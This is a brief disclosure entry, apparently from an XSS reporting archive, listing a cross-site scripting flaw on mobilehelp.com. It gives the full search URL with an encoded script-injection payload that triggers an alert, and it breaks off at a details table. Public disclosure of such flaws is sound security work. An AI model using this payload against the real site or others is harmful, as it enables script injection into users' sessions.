mobilehelp.com XSS vulnerability

Vulnerable URL: https://www.mobilehelp.com/search.stml?q=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E=001098588266447694026%3Autfnegfv-y=FORID%3A11 Details: Description| Value ---|---...